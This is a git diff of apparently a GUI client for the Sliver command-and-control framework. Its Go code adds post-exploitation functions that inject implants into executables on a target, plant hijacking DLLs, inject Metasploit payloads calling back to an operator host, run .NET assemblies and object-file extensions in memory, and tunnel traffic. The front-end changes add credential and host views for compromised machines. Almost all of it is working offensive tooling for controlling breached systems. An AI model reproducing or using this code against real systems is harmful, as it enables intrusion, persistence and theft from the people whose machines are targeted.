return nil, err
|
||||
}
|
||||
resp, err := client.RPC.Websites(a.ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]WebsiteView, 0, len(resp.Websites))
|
||||
for _, w := range resp.Websites {
|
||||
out = append(out, WebsiteView{ID: w.ID, Name: w.Name, Paths: len(w.Contents)})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (a *App) RemoveWebsite(name string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.WebsiteRemove(a.ctx, &clientpb.Website{Name: name})
|
||||
return err
|
||||
}
|
||||
|
||||
type CanaryView struct {
|
||||
Domain string `json:"domain"`
|
||||
ImplantName string `json:"implantName"`
|
||||
Triggered bool `json:"triggered"`
|
||||
Count uint32 `json:"count"`
|
||||
Latest string `json:"latest"`
|
||||
}
|
||||
|
||||
func (a *App) ListCanaries() ([]CanaryView, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, err := client.RPC.Canaries(a.ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]CanaryView, 0, len(resp.Canaries))
|
||||
for _, c := range resp.Canaries {
|
||||
out = append(out, CanaryView{Domain: c.Domain, ImplantName: c.ImplantName, Triggered: c.Triggered, Count: c.Count, Latest: c.LatestTrigger})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// StartStagerListener starts a TCP stager listener that serves a stage built
|
||||
// from a saved implant profile.
|
||||
func (a *App) StartStagerListener(host string, port uint32, profileName string) (uint32, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
resp, err := client.RPC.StartTCPStagerListener(a.ctx, &clientpb.StagerListenerReq{
|
||||
Host: host,
|
||||
Port: port,
|
||||
ProfileName: profileName,
|
||||
})
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return resp.JobID, nil
|
||||
}
|
||||
|
||||
// ─── Post-exploitation: backdoor / dllhijack / msf (session) ─────────────────────
|
||||
|
||||
// Backdoor injects an implant (from a profile) into an existing PE on the target.
|
||||
func (a *App) Backdoor(sessionID, remoteFilePath, profileName string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.Backdoor(a.ctx, &clientpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// DllHijack plants a hijacking DLL at TargetLocation, cloning exports from a
|
||||
// reference DLL and embedding an implant (from a profile).
|
||||
func (a *App) DllHijack(sessionID, referenceDLLPath, targetLocation, profileName string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.HijackDLL(a.ctx, &clientpb.DllHijackReq{
|
||||
ReferenceDLLPath: referenceDLLPath,
|
||||
TargetLocation: targetLocation,
|
||||
ProfileName: profileName,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// MsfInject runs a Metasploit payload in the session's own process.
|
||||
func (a *App) MsfInject(sessionID, payload, lhost string, lport uint32) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.Msf(a.ctx, &clientpb.MSFReq{
|
||||
Payload: payload,
|
||||
LHost: lhost,
|
||||
LPort: lport,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// MsfRemoteInject runs a Metasploit payload injected into another process (pid).
|
||||
func (a *App) MsfRemoteInject(sessionID, payload, lhost string, lport, pid uint32) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.MsfRemote(a.ctx, &clientpb.MSFRemoteReq{
|
||||
Payload: payload,
|
||||
LHost: lhost,
|
||||
LPort: lport,
|
||||
PID: pid,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// ─── WireGuard tunneling (session, WG implants) ─────────────────────────────────
|
||||
|
||||
func (a *App) WGStartPortForward(sessionID string, localPort int, remoteAddr string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.WGStartPortForward(a.ctx, &sliverpb.WGPortForwardStartReq{
|
||||
LocalPort: int32(localPort),
|
||||
RemoteAddress: remoteAddr,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func (a *App) WGStopPortForward(sessionID string, id int) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.WGStopPortForward(a.ctx, &sliverpb.WGPortForwardStopReq{
|
||||
ID: int32(id),
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func (a *App) WGStartSocks(sessionID string, port int) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.WGStartSocks(a.ctx, &sliverpb.WGSocksStartReq{
|
||||
Port: int32(port),
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func (a *App) WGStopSocks(sessionID string, id int) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.WGStopSocks(a.ctx, &sliverpb.WGSocksStopReq{
|
||||
ID: int32(id),
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// ─── Loot ────────────────────────────────────────────────────────────────────
|
||||
|
||||
type LootView struct {
|
||||
@@ -1932,20 +2487,10 @@ func (a *App) GetSystem(sessionID, hostingProcess, profileName string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
profiles, err := client.RPC.ImplantProfiles(a.ctx, &commonpb.Empty{})
|
||||
cfg, err := a.profileConfig(profileName)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var cfg *clientpb.ImplantConfig
|
||||
for _, p := range profiles.Profiles {
|
||||
if p.Name == profileName {
|
||||
cfg = p.Config
|
||||
break
|
||||
}
|
||||
}
|
||||
if cfg == nil {
|
||||
return fmt.Errorf("implant profile %q not found — create one in the Profiles panel first", profileName)
|
||||
}
|
||||
if hostingProcess == "" {
|
||||
hostingProcess = "spoolsv.exe"
|
||||
}
|
||||
@@ -1966,19 +2511,30 @@ type AssemblyResult struct {
|
||||
|
||||
// ExecuteAssembly runs a .NET assembly in-memory. Opens a native file picker for
|
||||
// the assembly bytes.
|
||||
func (a *App) ExecuteAssembly(sessionID, args string) AssemblyResult {
|
||||
// readLocalOrDialog reads a local file on the operator machine. If localPath is
|
||||
// empty it opens a native file-open dialog instead. Lets console commands pass
|
||||
// an explicit path (execute-assembly <path>) or fall back to a picker.
|
||||
func (a *App) readLocalOrDialog(localPath, title string) ([]byte, error) {
|
||||
if localPath == "" {
|
||||
p, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{Title: title})
|
||||
if err != nil || p == "" {
|
||||
return nil, fmt.Errorf("selection cancelled")
|
||||
}
|
||||
localPath = p
|
||||
}
|
||||
data, err := os.ReadFile(localPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read local file: %w", err)
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (a *App) ExecuteAssembly(sessionID, localPath, args string) AssemblyResult {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
localPath, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{
|
||||
Title: "Select .NET assembly (.exe)",
|
||||
Filters: []runtime.FileFilter{{DisplayName: ".NET assembly (*.exe)", Pattern: "*.exe"}},
|
||||
})
|
||||
if err != nil || localPath == "" {
|
||||
return AssemblyResult{Error: "selection cancelled"}
|
||||
}
|
||||
data, err := os.ReadFile(localPath)
|
||||
data, err := a.readLocalOrDialog(localPath, "Select .NET assembly (.exe)")
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
@@ -1995,18 +2551,12 @@ func (a *App) ExecuteAssembly(sessionID, args string) AssemblyResult {
|
||||
}
|
||||
|
||||
// Sideload loads and runs a shared library / DLL in a sacrificial process.
|
||||
func (a *App) Sideload(sessionID, args, entryPoint string) AssemblyResult {
|
||||
func (a *App) Sideload(sessionID, localPath, args, entryPoint string) AssemblyResult {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
localPath, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{
|
||||
Title: "Select DLL / shared library to sideload",
|
||||
})
|
||||
if err != nil || localPath == "" {
|
||||
return AssemblyResult{Error: "selection cancelled"}
|
||||
}
|
||||
data, err := os.ReadFile(localPath)
|
||||
data, err := a.readLocalOrDialog(localPath, "Select DLL / shared library to sideload")
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
|
||||
Executable
+417
@@ -0,0 +1,417 @@
|
||||
package main
|
||||
|
||||
/*
|
||||
Extension / BOF support.
|
||||
|
||||
Mirrors the load+call flow from Sliver's own client
|
||||
(client/command/extensions): parse an extension.json manifest, register the
|
||||
target binary with the implant, pack typed arguments into a BOF buffer, and
|
||||
CallExtension. For BOFs (.o files) the coff-loader dependency is registered
|
||||
and the BOF is passed to it as data. We reuse core.BOFArgsBuffer so the
|
||||
binary arg format matches the implant exactly.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// ─── Manifest structs (extension.json) ──────────────────────────────────────────
|
||||
|
||||
type extFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type extArg struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
// extCommand is one runnable command inside a manifest.
|
||||
type extCommand struct {
|
||||
CommandName string `json:"command_name"`
|
||||
Help string `json:"help"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
Files []extFile `json:"files"`
|
||||
Arguments []extArg `json:"arguments"`
|
||||
}
|
||||
|
||||
// extManifest supports both the v2 (commands array) and v1 (single command at
|
||||
// the top level) manifest layouts.
|
||||
type extManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Commands []extCommand `json:"commands"`
|
||||
// v1 single-command fields:
|
||||
CommandName string `json:"command_name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
Files []extFile `json:"files"`
|
||||
Arguments []extArg `json:"arguments"`
|
||||
|
||||
rootPath string
|
||||
}
|
||||
|
||||
// commands returns the manifest's commands normalized (v1 → single command).
|
||||
func (m *extManifest) commands() []extCommand {
|
||||
if len(m.Commands) > 0 {
|
||||
return m.Commands
|
||||
}
|
||||
return []extCommand{{
|
||||
CommandName: m.CommandName,
|
||||
Entrypoint: m.Entrypoint,
|
||||
DependsOn: m.DependsOn,
|
||||
Init: m.Init,
|
||||
Files: m.Files,
|
||||
Arguments: m.Arguments,
|
||||
}}
|
||||
}
|
||||
|
||||
func (c *extCommand) fileFor(goos, goarch string) string {
|
||||
for _, f := range c.Files {
|
||||
if f.OS == goos && f.Arch == goarch {
|
||||
return f.Path
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ─── Public views ───────────────────────────────────────────────────────────────
|
||||
|
||||
type ExtCommandView struct {
|
||||
Command string `json:"command"`
|
||||
Extension string `json:"extension"`
|
||||
Help string `json:"help"`
|
||||
IsBOF bool `json:"isBof"`
|
||||
Args string `json:"args"`
|
||||
ManifestPath string `json:"manifestPath"`
|
||||
}
|
||||
|
||||
// extensionsDir returns the operator's installed-extensions directory
|
||||
// (~/.sliver-client/extensions), the same location the official client uses.
|
||||
func extensionsDir() string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return filepath.Join(home, ".sliver-client", "extensions")
|
||||
}
|
||||
|
||||
func loadManifest(path string) (*extManifest, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var m extManifest
|
||||
if err := json.Unmarshal(data, &m); err != nil {
|
||||
return nil, fmt.Errorf("parse manifest: %w", err)
|
||||
}
|
||||
m.rootPath = filepath.Dir(path)
|
||||
return &m, nil
|
||||
}
|
||||
|
||||
// ListInstalledExtensions scans ~/.sliver-client/extensions and returns every
|
||||
// runnable command it finds — what the operator can `ext` in the GUI.
|
||||
func (a *App) ListInstalledExtensions() ([]ExtCommandView, error) {
|
||||
dir := extensionsDir()
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return []ExtCommandView{}, nil // no extensions installed yet — not an error
|
||||
}
|
||||
out := []ExtCommandView{}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
mp := filepath.Join(dir, e.Name(), "extension.json")
|
||||
m, err := loadManifest(mp)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, c := range m.commands() {
|
||||
argNames := make([]string, 0, len(c.Arguments))
|
||||
isBOF := false
|
||||
for _, f := range c.Files {
|
||||
if strings.HasSuffix(f.Path, ".o") {
|
||||
isBOF = true
|
||||
break
|
||||
}
|
||||
}
|
||||
for _, ar := range c.Arguments {
|
||||
n := ar.Name + ":" + ar.Type
|
||||
if ar.Optional {
|
||||
n = "[" + n + "]"
|
||||
}
|
||||
argNames = append(argNames, n)
|
||||
}
|
||||
out = append(out, ExtCommandView{
|
||||
Command: c.CommandName,
|
||||
Extension: m.Name,
|
||||
Help: c.Help,
|
||||
IsBOF: isBOF,
|
||||
Args: strings.Join(argNames, " "),
|
||||
ManifestPath: mp,
|
||||
})
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ListImplantExtensions lists extensions currently registered in the implant.
|
||||
func (a *App) ListImplantExtensions(sessionID string) ([]string, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, err := client.RPC.ListExtensions(a.ctx, &sliverpb.ListExtensionsReq{
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp.Names, nil
|
||||
}
|
||||
|
||||
// registerExtBinary reads an extension binary for the target and registers it
|
||||
// with the implant, returning the sha256 name it was registered under.
|
||||
func (a *App) registerExtBinary(sessionID, binPath, goos, initFn string) (string, []byte, error) {
|
||||
data, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return "", nil, fmt.Errorf("read %s: %w", binPath, err)
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return "", nil, fmt.Errorf("extension file is empty: %s", binPath)
|
||||
}
|
||||
sum := sha256.Sum256(data)
|
||||
name := hex.EncodeToString(sum[:])
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
_, err = client.RPC.RegisterExtension(a.ctx, &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: data,
|
||||
OS: goos,
|
||||
Init: initFn,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
return name, data, nil
|
||||
}
|
||||
|
||||
// findCommand locates a command by name across all installed extensions.
|
||||
func findCommand(command string) (*extManifest, *extCommand, error) {
|
||||
dir := extensionsDir()
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("no extensions installed (%s)", dir)
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
m, err := loadManifest(filepath.Join(dir, e.Name(), "extension.json"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for i := range m.commands() {
|
||||
c := m.commands()[i]
|
||||
if c.CommandName == command {
|
||||
return m, &c, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil, nil, fmt.Errorf("extension command %q not found in %s", command, dir)
|
||||
}
|
||||
|
||||
// packArgs packs positional args into a BOF buffer according to the command's
|
||||
// declared argument types (string/wstring/int/short/file).
|
||||
func packArgs(c *extCommand, args []string) ([]byte, error) {
|
||||
buf := core.BOFArgsBuffer{Buffer: new(bytes.Buffer)}
|
||||
for i, def := range c.Arguments {
|
||||
if i >= len(args) {
|
||||
if def.Optional {
|
||||
continue
|
||||
}
|
||||
return nil, fmt.Errorf("missing required argument %q (%s)", def.Name, def.Type)
|
||||
}
|
||||
v := args[i]
|
||||
var err error
|
||||
switch def.Type {
|
||||
case "string":
|
||||
err = buf.AddString(v)
|
||||
case "wstring":
|
||||
err = buf.AddWString(v)
|
||||
case "int", "integer":
|
||||
n, e := strconv.Atoi(v)
|
||||
if e != nil {
|
||||
return nil, fmt.Errorf("arg %q must be an integer", def.Name)
|
||||
}
|
||||
err = buf.AddInt(uint32(n))
|
||||
case "short":
|
||||
n, e := strconv.Atoi(v)
|
||||
if e != nil {
|
||||
return nil, fmt.Errorf("arg %q must be an integer", def.Name)
|
||||
}
|
||||
err = buf.AddShort(uint16(n))
|
||||
case "file":
|
||||
fdata, e := os.ReadFile(v)
|
||||
if e != nil {
|
||||
return nil, fmt.Errorf("arg %q: read file %s: %w", def.Name, v, e)
|
||||
}
|
||||
err = buf.AddData(fdata)
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported argument type %q", def.Type)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return buf.GetBuffer()
|
||||
}
|
||||
|
||||
// RunExtension loads (if needed) and executes an installed extension command on
|
||||
// a session, returning its output. args are positional, in manifest order.
|
||||
func (a *App) RunExtension(sessionID, command string, args []string) (string, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
m, c, err := findCommand(command)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
goos, goarch, err := a.sessionPlatform(sessionID)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
relFile := c.fileFor(goos, goarch)
|
||||
if relFile == "" {
|
||||
return "", fmt.Errorf("extension %q has no binary for %s/%s", command, goos, goarch)
|
||||
}
|
||||
binPath := filepath.Join(m.rootPath, relFile)
|
||||
|
||||
// Register the extension binary.
|
||||
extName, binData, err := a.registerExtBinary(sessionID, binPath, goos, c.Init)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("register extension: %w", err)
|
||||
}
|
||||
|
||||
isBOF := strings.HasSuffix(binPath, ".o")
|
||||
var callName, export string
|
||||
var callArgs []byte
|
||||
|
||||
if isBOF {
|
||||
// BOFs run via the coff-loader dependency. Register the dep, then pack
|
||||
// [entrypoint][bof bytes][typed args] and call the dep.
|
||||
if c.DependsOn == "" {
|
||||
return "", fmt.Errorf("BOF %q has no depends_on (coff-loader) in its manifest", command)
|
||||
}
|
||||
depName, depEntry, err := a.registerDependency(sessionID, c.DependsOn, goos, goarch)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("load dependency %q: %w", c.DependsOn, err)
|
||||
}
|
||||
packed, err := packArgs(c, args)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
buf := core.BOFArgsBuffer{Buffer: new(bytes.Buffer)}
|
||||
if err := buf.AddString(c.Entrypoint); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := buf.AddData(binData); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := buf.AddData(packed); err != nil {
|
||||
return "", err
|
||||
}
|
||||
callArgs, err = buf.GetBuffer()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
callName = depName
|
||||
export = depEntry
|
||||
} else {
|
||||
// Regular DLL/.so extension — args are space-joined raw.
|
||||
callName = extName
|
||||
export = c.Entrypoint
|
||||
callArgs = []byte(strings.Join(args, " "))
|
||||
}
|
||||
|
||||
resp, err := client.RPC.CallExtension(a.ctx, &sliverpb.CallExtensionReq{
|
||||
Name: callName,
|
||||
Export: export,
|
||||
Args: callArgs,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if resp.Response != nil && resp.Response.Err != "" {
|
||||
return "", fmt.Errorf("%s", resp.Response.Err)
|
||||
}
|
||||
return string(resp.Output), nil
|
||||
}
|
||||
|
||||
// registerDependency registers a dependency extension (e.g. coff-loader) and
|
||||
// returns the sha256 name it was registered under plus its entrypoint.
|
||||
func (a *App) registerDependency(sessionID, depName, goos, goarch string) (string, string, error) {
|
||||
mp := filepath.Join(extensionsDir(), depName, "extension.json")
|
||||
m, err := loadManifest(mp)
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("dependency %q not installed (%s)", depName, mp)
|
||||
}
|
||||
cmds := m.commands()
|
||||
if len(cmds) == 0 {
|
||||
return "", "", fmt.Errorf("dependency %q has no commands", depName)
|
||||
}
|
||||
c := cmds[0]
|
||||
rel := c.fileFor(goos, goarch)
|
||||
if rel == "" {
|
||||
return "", "", fmt.Errorf("dependency %q has no binary for %s/%s", depName, goos, goarch)
|
||||
}
|
||||
name, _, err := a.registerExtBinary(sessionID, filepath.Join(m.rootPath, rel), goos, c.Init)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
return name, c.Entrypoint, nil
|
||||
}
|
||||
|
||||
// sessionPlatform returns a session's GOOS/GOARCH.
|
||||
func (a *App) sessionPlatform(sessionID string) (string, string, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
sessions, err := client.ListSessions(a.ctx)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
for _, s := range sessions {
|
||||
if s.ID == sessionID {
|
||||
return s.OS, s.Arch, nil
|
||||
}
|
||||
}
|
||||
return "", "", fmt.Errorf("session not found")
|
||||
}
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 25 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
Vendored
+8
-4
@@ -34,6 +34,8 @@
|
||||
<button class="tb-btn" data-view="profiles">Profiles</button>
|
||||
<button class="tb-btn" data-view="events">Event Log</button>
|
||||
<button class="tb-btn" data-view="loot">Loot</button>
|
||||
<button class="tb-btn" data-view="creds">Creds</button>
|
||||
<button class="tb-btn" data-view="hosts">Hosts</button>
|
||||
<button class="tb-btn" data-view="operators">Operators</button>
|
||||
</div>
|
||||
<div class="toolbar-right">
|
||||
@@ -75,11 +77,12 @@
|
||||
<div id="graph-view" class="panel-content hidden">
|
||||
<svg id="graph-svg" xmlns="http://www.w3.org/2000/svg"></svg>
|
||||
<div class="graph-legend">
|
||||
<span class="leg-item"><span class="leg-dot priv"></span> Privileged</span>
|
||||
<span class="leg-item"><span class="leg-dot user"></span> User</span>
|
||||
<span class="leg-item"><span class="leg-dot dead"></span> Dead</span>
|
||||
<span class="leg-item"><span class="leg-line priv"></span> Privileged (red)</span>
|
||||
<span class="leg-item"><span class="leg-line user"></span> User session (green)</span>
|
||||
<span class="leg-item"><span class="leg-line beacon"></span> Beacon (blue dashed)</span>
|
||||
<span class="leg-item"><span class="leg-line dead"></span> Dead (grey)</span>
|
||||
<span class="sep">|</span>
|
||||
<span class="leg-item">OS logo shown per node</span>
|
||||
<span class="leg-item">OS logo + integrity shown per node</span>
|
||||
<span class="sep">|</span>
|
||||
<span class="leg-item">drag nodes · scroll to zoom · drag bg to pan</span>
|
||||
<span class="spacer"></span>
|
||||
@@ -145,6 +148,7 @@
|
||||
<!-- Context menu -->
|
||||
<div id="ctx-menu" class="ctx-menu hidden">
|
||||
<div class="ctx-item" id="ctx-interact">Interact</div>
|
||||
<div class="ctx-item" id="ctx-integrity">Check Integrity</div>
|
||||
<div class="ctx-item" id="ctx-rename">Rename</div>
|
||||
<div class="ctx-divider"></div>
|
||||
<div class="ctx-item danger" id="ctx-kill">Kill</div>
|
||||
|
||||
Vendored
+284
-32
@@ -11,6 +11,7 @@ const openTabs = {};
|
||||
const eventLog = [];
|
||||
const EVENT_MAX = 500;
|
||||
const notesMap = {}; // agent id -> operator notes (in-memory, cleared on disconnect)
|
||||
const integrityMap = {}; // agent id -> real integrity level from getprivs (System/High/Medium/Low)
|
||||
let activeInteractId = null; // currently focused agent tab
|
||||
|
||||
// ── Utils ──────────────────────────────────────────────────────────────────
|
||||
@@ -22,12 +23,22 @@ function toast(type, msg, dur=3000) {
|
||||
}
|
||||
|
||||
function isPrivileged(obj) {
|
||||
// If we've actually queried integrity for this agent, trust that over the guess.
|
||||
const lvl = (integrityMap[obj.id] || '').toLowerCase();
|
||||
if (lvl) return lvl.includes('system') || lvl.includes('high');
|
||||
const u = (obj.username || '').trim().toLowerCase();
|
||||
if (!u) return false;
|
||||
// Machine account (HOST$) runs as SYSTEM; NT AUTHORITY\* and admin/root are privileged.
|
||||
// Fallback heuristic: machine account (HOST$) = SYSTEM; NT AUTHORITY\*/admin/root.
|
||||
if (u.endsWith('$')) return true;
|
||||
return ['nt authority', 'system', 'administrator', 'admin', 'root'].some(k => u.includes(k));
|
||||
}
|
||||
// integrityLabel returns a short label for a node when its integrity is known.
|
||||
function integrityLabel(obj) {
|
||||
const lvl = integrityMap[obj.id];
|
||||
if (!lvl) return '';
|
||||
if ((obj.username || '').trim().endsWith('$') || (obj.username || '').toLowerCase().includes('system')) return 'SYSTEM';
|
||||
return lvl.toUpperCase();
|
||||
}
|
||||
function osLabel(os) {
|
||||
const o = (os||'').toLowerCase();
|
||||
if (o.includes('windows')) return 'W';
|
||||
@@ -37,11 +48,10 @@ function osLabel(os) {
|
||||
}
|
||||
// osIconHref returns the PNG icon path for an OS + privilege level (icons live in
|
||||
// frontend/dist/icons). HIGH = privileged, NORMAL = user. Falls back to Windows.
|
||||
function osIconHref(os, priv) {
|
||||
function osIconHref(os, priv, dead) {
|
||||
const o = (os||'').toLowerCase();
|
||||
const lvl = priv ? 'HIGH' : 'NORMAL';
|
||||
const lvl = dead ? 'DEAD' : (priv ? 'HIGH' : 'NORMAL'); // DEAD > HIGH > NORMAL
|
||||
if (o.includes('linux')) return `./icons/LINUX-${lvl}.png`;
|
||||
if (o.includes('windows')) return `./icons/WIN-${lvl}.png`;
|
||||
// macOS / container / unknown — no dedicated icon; use the Windows art.
|
||||
return `./icons/WIN-${lvl}.png`;
|
||||
}
|
||||
@@ -90,6 +100,7 @@ document.getElementById('disconnect-btn').addEventListener('click', async () =>
|
||||
document.getElementById('interact-panels').innerHTML = '<div class="empty-interact" id="empty-interact"><p>Double-click an agent to interact.</p></div>';
|
||||
for (const k in openTabs) delete openTabs[k];
|
||||
for (const k in notesMap) delete notesMap[k];
|
||||
for (const k in integrityMap) delete integrityMap[k];
|
||||
activeInteractId = null;
|
||||
allSessions = []; allBeacons = [];
|
||||
selectedConfigPath = null; cancelReconnect();
|
||||
@@ -141,23 +152,27 @@ async function refreshAgents() {
|
||||
document.getElementById('refresh-all-btn').addEventListener('click', refreshAgents);
|
||||
|
||||
// ── Table view ─────────────────────────────────────────────────────────────
|
||||
// userCell renders the user column, highlighting privileged (SYSTEM/admin/★) agents.
|
||||
function userCell(o) {
|
||||
const il = integrityLabel(o);
|
||||
return isPrivileged(o)
|
||||
? `<td class="user-priv" title="Privileged (right-click → Check Integrity for the real level)">★ ${esc(o.username)}${il ? ` [${il}]` : ''}</td>`
|
||||
: `<td>${esc(o.username)}${il ? ` <span style="color:var(--muted)">[${il}]</span>` : ''}</td>`;
|
||||
}
|
||||
function renderTable() {
|
||||
const body = document.getElementById('agents-body');
|
||||
body.innerHTML = '';
|
||||
allSessions.forEach(s => {
|
||||
const tr = document.createElement('tr'); tr.dataset.id = s.id; tr.dataset.kind = 'session';
|
||||
tr.innerHTML = `<td class="type-session">SESSION</td><td>${esc(s.name||s.id.slice(0,8))}</td><td>${esc(s.hostname)}</td><td>${esc(s.username)}</td><td>${esc(s.os)}/${esc(s.arch)}</td><td>${s.pid}</td><td>${esc(s.transport)}</td><td>${esc(s.remoteAddress)}</td><td>${esc(s.lastCheckin)}</td><td class="${s.isDead?'status-dead':'status-alive'}">${s.isDead?'DEAD':'ALIVE'}</td>`;
|
||||
tr.addEventListener('dblclick', () => openInteract('session', s));
|
||||
tr.addEventListener('contextmenu', e => showCtx(e, 'session', s));
|
||||
const row = (o, kind) => {
|
||||
